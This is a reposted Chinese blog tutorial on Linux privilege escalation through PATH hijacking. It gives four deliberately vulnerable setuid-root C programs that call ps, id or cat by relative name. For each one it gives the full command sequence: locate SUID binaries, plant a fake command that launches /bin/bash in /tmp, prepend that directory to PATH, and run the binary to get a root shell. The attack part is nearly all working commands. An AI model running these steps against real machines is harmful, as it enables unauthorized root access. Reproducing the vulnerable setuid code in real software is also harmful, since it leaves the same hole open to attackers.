您的位置:首页 > 财经 > 金融 > WEB渗透Linux提权篇-环境变量提权

WEB渗透Linux提权篇-环境变量提权

2025/4/15 12:25:23 来源:https://blog.csdn.net/qq_59468567/article/details/141815593  浏览:    关键词:WEB渗透Linux提权篇-环境变量提权

往期文章 

WEB渗透Linux提权篇-提权工具合集-CSDN博客

 

第一种
假设存在一个脚本代码为
  #include<unistd.h>void main(){setuid(0);setgid(0);system("ps");}
编译
>gcc demo.c -o shell
>chmod u+s shell
执行./shell  回显ps命令
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell
>cd /tmp
>echo "/bin/bash" > ps
>chmod 777 ps
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell
>whoami
或使用copy命令
>cd /home/raj/script/
>cp /bin/sh /tmp/ps
>echo $PATH
>export PATH=/tmp:$PATH
>./shell
>whoami
或使用ln命令
>ln -s /bin/sh ps
>export PATH=.:$PATH
>./shell
>id
第二种
假设存在一个脚本代码为
  #include<unistd.h>void main(){setuid(0);setgid(0);system("id");}
编译
>gcc test.c -o shell2
>chmod u+s shell2
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell2
>cd /tmp
>echo "/bin/bash" > id
>chmod 777 id
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell2
>whoami
第三种
假设存在一个脚本代码为
  #include<unistd.h>void main(){setuid(0);setgid(0);system("cat /etc/passwd");}
编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell3
>cd /tmp
>vi cat
内容为/bin/bash
>chmod 777 cat
>ls -al cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell3
>whoami
第四种
假设存在一个脚本代码为
  #include<unistd.h>void main(){setuid(0);setgid(0);system("cat /home/raj/msg.txt");}
编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell4
>cd /tmp
>vi cat
>chmod 777 cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell4
>whoami

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com